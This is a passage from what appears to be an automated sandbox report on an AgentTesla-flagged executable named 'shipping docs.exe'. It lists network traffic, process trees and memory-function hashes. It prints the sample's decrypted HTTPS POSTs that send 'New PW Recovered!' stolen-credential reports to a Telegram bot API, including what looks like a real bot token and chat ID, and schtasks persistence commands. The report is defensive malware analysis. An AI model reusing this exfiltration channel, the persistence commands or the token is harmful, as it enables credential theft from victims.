Nov 29, 2022 21:20:33.191063881 CET	443	49700	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:33.191247940 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:33.191715002 CET	49700	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:47.552496910 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:47.552612066 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:47.552792072 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:47.617912054 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:47.617959023 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:47.682044029 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:47.682136059 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:47.684530973 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:47.684552908 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:47.684855938 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:47.890943050 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:47.891128063 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:48.564800978 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:48.564868927 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:48.591984034 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:48.592714071 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:48.592767954 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:48.679336071 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:48.679500103 CET	443	49701	149.154.167.220	192.168.2.3
Nov 29, 2022 21:20:48.679678917 CET	49701	443	192.168.2.3	149.154.167.220
Nov 29, 2022 21:20:48.680298090 CET	49701	443	192.168.2.3	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 21:19:34.235759974 CET	49977	53	192.168.2.3	8.8.8.8
Nov 29, 2022 21:19:34.253768921 CET	53	49977	8.8.8.8	192.168.2.3
Nov 29, 2022 21:20:32.392975092 CET	57840	53	192.168.2.3	8.8.8.8
Nov 29, 2022 21:20:32.412163019 CET	53	57840	8.8.8.8	192.168.2.3
Nov 29, 2022 21:20:47.509844065 CET	57990	53	192.168.2.3	8.8.8.8
Nov 29, 2022 21:20:47.527040005 CET	53	57990	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2022 21:19:34.235759974 CET	192.168.2.3	8.8.8.8	0x7d34	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 29, 2022 21:20:32.392975092 CET	192.168.2.3	8.8.8.8	0xd170	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 29, 2022 21:20:47.509844065 CET	192.168.2.3	8.8.8.8	0x8851	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2022 21:18:52.397281885 CET	8.8.8.8	192.168.2.3	0x741b	No error (0)	au.c-0001.c-msedge.net	c-0001.c-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2022 21:18:52.397281885 CET	8.8.8.8	192.168.2.3	0x741b	No error (0)	c-0001.c-msedge.net		13.107.4.50	A (IP address)	IN (0x0001)	false
Nov 29, 2022 21:19:34.253768921 CET	8.8.8.8	192.168.2.3	0x7d34	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 29, 2022 21:20:32.412163019 CET	8.8.8.8	192.168.2.3	0xd170	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 29, 2022 21:20:47.527040005 CET	8.8.8.8	192.168.2.3	0x8851	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49699	149.154.167.220	443	C:\Users\user\Desktop\shipping docs.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-29 20:19:34 UTC	0	OUT	POST /bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dad24f67b2ac65 Host: api.telegram.org Content-Length: 1006 Expect: 100-continue Connection: Keep-Alive
2022-11-29 20:19:34 UTC	0	IN	HTTP/1.1 100 Continue
2022-11-29 20:19:34 UTC	0	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 64 32 34 66 36 37 62 32 61 63 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 36 34 34 35 38 34 35 33 36 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 64 32 34 66 36 37 62 32 61 63 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 68 61 72 64 7a 2f 36 31 38 33 32 31 0a 4f 53 46 75 6c 6c Data Ascii: -----------------------------8dad24f67b2ac65Content-Disposition: form-data; name="chat_id"1644584536-----------------------------8dad24f67b2ac65Content-Disposition: form-data; name="caption"New PW Recovered!User Name: user/618321OSFull
2022-11-29 20:19:34 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 29 Nov 2022 20:19:34 GMT Content-Type: application/json Content-Length: 644 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":310,"from":{"id":5676971476,"is_bot":true,"first_name":"strongerman","username":"strongermanbot"},"chat":{"id":1644584536,"first_name":"rodriguez","last_name":"david","username":"rodeiguez1b","type":"private"},"date":1669753174,"document":{"file_name":"user-618321 2022-11-29 21-19-30.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIBNmOGaVZkeJOlahMd7RgEEfRREDp1AAKGEAACD804UE5y_p8XQxsMKwQ","file_unique_id":"AgADhhAAAg_NOFA","file_size":436},"caption":"New PW Recovered!\n\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49700	149.154.167.220	443	C:\Users\user\Desktop\shipping docs.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-29 20:20:32 UTC	2	OUT	POST /bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dad24f8bdcd188 Host: api.telegram.org Content-Length: 1006 Expect: 100-continue Connection: Keep-Alive
2022-11-29 20:20:32 UTC	2	IN	HTTP/1.1 100 Continue
2022-11-29 20:20:32 UTC	2	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 64 32 34 66 38 62 64 63 64 31 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 36 34 34 35 38 34 35 33 36 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 64 32 34 66 38 62 64 63 64 31 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 68 61 72 64 7a 2f 36 31 38 33 32 31 0a 4f 53 46 75 6c 6c Data Ascii: -----------------------------8dad24f8bdcd188Content-Disposition: form-data; name="chat_id"1644584536-----------------------------8dad24f8bdcd188Content-Disposition: form-data; name="caption"New PW Recovered!User Name: user/618321OSFull
2022-11-29 20:20:33 UTC	3	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 29 Nov 2022 20:20:33 GMT Content-Type: application/json Content-Length: 644 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":311,"from":{"id":5676971476,"is_bot":true,"first_name":"strongerman","username":"strongermanbot"},"chat":{"id":1644584536,"first_name":"rodriguez","last_name":"david","username":"rodeiguez1b","type":"private"},"date":1669753233,"document":{"file_name":"user-618321 2022-11-29 21-20-31.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIBN2OGaZHRgrJuUwePcvH_QNl91xMeAAKHEAACD804UEp9TiMBCfU9KwQ","file_unique_id":"AgADhxAAAg_NOFA","file_size":436},"caption":"New PW Recovered!\n\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49701	149.154.167.220	443	C:\Users\user\Desktop\shipping docs.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-29 20:20:48 UTC	4	OUT	POST /bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dad24f9334eaaa Host: api.telegram.org Content-Length: 1006 Expect: 100-continue Connection: Keep-Alive
2022-11-29 20:20:48 UTC	4	IN	HTTP/1.1 100 Continue
2022-11-29 20:20:48 UTC	4	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 64 32 34 66 39 33 33 34 65 61 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 36 34 34 35 38 34 35 33 36 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 64 32 34 66 39 33 33 34 65 61 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 68 61 72 64 7a 2f 36 31 38 33 32 31 0a 4f 53 46 75 6c 6c Data Ascii: -----------------------------8dad24f9334eaaaContent-Disposition: form-data; name="chat_id"1644584536-----------------------------8dad24f9334eaaaContent-Disposition: form-data; name="caption"New PW Recovered!User Name: user/618321OSFull
2022-11-29 20:20:48 UTC	5	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 29 Nov 2022 20:20:48 GMT Content-Type: application/json Content-Length: 644 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":313,"from":{"id":5676971476,"is_bot":true,"first_name":"strongerman","username":"strongermanbot"},"chat":{"id":1644584536,"first_name":"rodriguez","last_name":"david","username":"rodeiguez1b","type":"private"},"date":1669753248,"document":{"file_name":"user-618321 2022-11-29 21-20-43.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIBOWOGaaDiWt7zrb8IZSr8Wvk1uQO8AAKJEAACD804UE0tpTB8RDcQKwQ","file_unique_id":"AgADiRAAAg_NOFA","file_size":436},"caption":"New PW Recovered!\n\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Target ID:	0
Start time:	21:18:57
Start date:	29/11/2022
Path:	C:\Users\user\Desktop\shipping docs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\shipping docs.exe
Imagebase:	0x140000
File size:	606720 bytes
MD5 hash:	6308AE755A893C15A989B1CCF2C56393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	21:19:08
Start date:	29/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp
Imagebase:	0xe0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	21:19:08
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	21:19:09
Start date:	29/11/2022
Path:	C:\Users\user\Desktop\shipping docs.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xbb0000
File size:	606720 bytes
MD5 hash:	6308AE755A893C15A989B1CCF2C56393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	4
Start time:	21:19:09
Start date:	29/11/2022
Path:	C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe
Imagebase:	0x8f0000
File size:	606720 bytes
MD5 hash:	6308AE755A893C15A989B1CCF2C56393
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.365709519.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 73%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	14
Start time:	21:19:26
Start date:	29/11/2022
Path:	C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe"
Imagebase:	0x9a0000
File size:	606720 bytes
MD5 hash:	6308AE755A893C15A989B1CCF2C56393
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000E.00000002.343723068.0000000002D38000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 73%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	15
Start time:	21:19:36
Start date:	29/11/2022
Path:	C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe"
Imagebase:	0x7f0000
File size:	606720 bytes
MD5 hash:	6308AE755A893C15A989B1CCF2C56393
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	16
Start time:	21:19:41
Start date:	29/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmpF5B7.tmp
Imagebase:	0xe0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	17
Start time:	21:19:42
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	18
Start time:	21:19:44
Start date:	29/11/2022
Path:	C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xaf0000
File size:	606720 bytes
MD5 hash:	6308AE755A893C15A989B1CCF2C56393
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	19
Start time:	21:19:56
Start date:	29/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp3418.tmp
Imagebase:	0xe0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	20
Start time:	21:19:57
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	21
Start time:	21:19:57
Start date:	29/11/2022
Path:	C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x9a0000
File size:	606720 bytes
MD5 hash:	6308AE755A893C15A989B1CCF2C56393
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Execution Graph

Execution Coverage:	14.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	13%
Total number of Nodes:	285
Total number of Limit Nodes:	11

Executed Functions

Function 04A465A9 Relevance: 38.5, Strings: 29, Instructions: 2296
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p, xrefs: 04A46BAD
p, xrefs: 04A47328
, xrefs: 04A47F32
y, xrefs: 04A483F2
', xrefs: 04A47138
B, xrefs: 04A47633
8, xrefs: 04A46BA6
U, xrefs: 04A477FB
, xrefs: 04A47D94
N, xrefs: 04A47781
C, xrefs: 04A46973
J, xrefs: 04A46A5E
X, xrefs: 04A474CD
K, xrefs: 04A47D8A
w, xrefs: 04A47BE8
L, xrefs: 04A47231
>, xrefs: 04A4708D
x, xrefs: 04A47A9A
', xrefs: 04A46E92
[, xrefs: 04A480C7
n, xrefs: 04A46CF8
', xrefs: 04A4690C
, xrefs: 04A480D1
P, xrefs: 04A46F08
*, xrefs: 04A475B7
V, xrefs: 04A46D73
, xrefs: 04A47BF2
c, xrefs: 04A47F28
T, xrefs: 04A47AA4

Memory Dump Source

Source File: 00000000.00000002.278100258.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a40000_shipping docs.jbxd

Similarity

API ID:
String ID: $ $ $ $'$'$'$*$8$>$B$C$J$K$L$N$P$T$U$V$X$[$c$n$p$p$w$x$y
API String ID: 0-2341653528
Opcode ID: 3d9219ea3c4c4e905815cc9833dca2d2cb0658225e3e82ad1f9e763ea20dee51
Instruction ID: a9121f413dd4bfe7027fff9f87dccfa878292fa7e335e62af81aaff867713edf
Opcode Fuzzy Hash: 3d9219ea3c4c4e905815cc9833dca2d2cb0658225e3e82ad1f9e763ea20dee51
Instruction Fuzzy Hash: A3331434A11615CFCB54EF28C958BACB7F2AF8A705F1141E9E10AAB361DB75AD81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 04A465B8 Relevance: 38.5, Strings: 29, Instructions: 2292
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p, xrefs: 04A46BAD
p, xrefs: 04A47328
, xrefs: 04A47F32
y, xrefs: 04A483F2
', xrefs: 04A47138
B, xrefs: 04A47633
8, xrefs: 04A46BA6
U, xrefs: 04A477FB
, xrefs: 04A47D94
N, xrefs: 04A47781
C, xrefs: 04A46973
J, xrefs: 04A46A5E
X, xrefs: 04A474CD
K, xrefs: 04A47D8A
w, xrefs: 04A47BE8
L, xrefs: 04A47231
>, xrefs: 04A4708D
x, xrefs: 04A47A9A
', xrefs: 04A46E92
[, xrefs: 04A480C7
n, xrefs: 04A46CF8
', xrefs: 04A4690C
, xrefs: 04A480D1
P, xrefs: 04A46F08
*, xrefs: 04A475B7
V, xrefs: 04A46D73
, xrefs: 04A47BF2
c, xrefs: 04A47F28
T, xrefs: 04A47AA4

Memory Dump Source

Source File: 00000000.00000002.278100258.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a40000_shipping docs.jbxd

Similarity

API ID:
String ID: $ $ $ $'$'$'$*$8$>$B$C$J$K$L$N$P$T$U$V$X$[$c$n$p$p$w$x$y
API String ID: 0-2341653528
Opcode ID: da79044549a35eb34336e32b2f4f243969d21c1061f403900282b73202c048f4
Instruction ID: 8f975cc594ce1d76c179277cd4ccbbd4a90300f3a93f51b397f8ac1c67bfd5f1
Opcode Fuzzy Hash: da79044549a35eb34336e32b2f4f243969d21c1061f403900282b73202c048f4
Instruction Fuzzy Hash: 7D330434A51615CFCB54EF28C958BACB7F2AF8A705F1141E9E10AAB361DB71AD81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 044813D0 Relevance: 3.9, Strings: 3, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_e/, xrefs: 044815A2
C!s[, xrefs: 044815EA
_e/, xrefs: 0448142E

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID: C!s[$_e/$_e/
API String ID: 0-1613511610
Opcode ID: 214d9c26c45f60d17972b9309694981d2fed6cb0efac40e4d6f7820d1e582fa0
Instruction ID: bfa449c85c549e2c1ceb2702022841589d82cd577770cb398566a6e9995e125c
Opcode Fuzzy Hash: 214d9c26c45f60d17972b9309694981d2fed6cb0efac40e4d6f7820d1e582fa0
Instruction Fuzzy Hash: 1B615CB0E06218DBDF14DF95E5816EEFBB6BF89310F24A42BD406B7244E734A9468B14

Uniqueness

Uniqueness Score: -1.00%

Function 044813C1 Relevance: 3.9, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_e/, xrefs: 044815A2
C!s[, xrefs: 044815EA
_e/, xrefs: 0448142E

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID: C!s[$_e/$_e/
API String ID: 0-1613511610
Opcode ID: 1b8bc0ca78156adc92a7bde1aade485d0d92a2346896571c0ec119941a86a357
Instruction ID: d637332a48b533dcacb6707017050f3f459ff0bba044a1832a5836bc34ff1d07
Opcode Fuzzy Hash: 1b8bc0ca78156adc92a7bde1aade485d0d92a2346896571c0ec119941a86a357
Instruction Fuzzy Hash: 3D518C70E06218DBDF04DFA5E5846EEFBB2EF89310F24A42FD406B7254E734A9468B14

Uniqueness

Uniqueness Score: -1.00%

Function 04483635 Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

7iz, xrefs: 044837F1

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID: 7iz
API String ID: 0-2637832990
Opcode ID: 639b3e1437acaaea98d04c2b859357b9299437b8a271f6bb6b15c2dcfa0dbe0d
Instruction ID: 53204f2fb1f69e512e5c589f720489aeca20f3f2733ec613a33151cbf9686bdf
Opcode Fuzzy Hash: 639b3e1437acaaea98d04c2b859357b9299437b8a271f6bb6b15c2dcfa0dbe0d
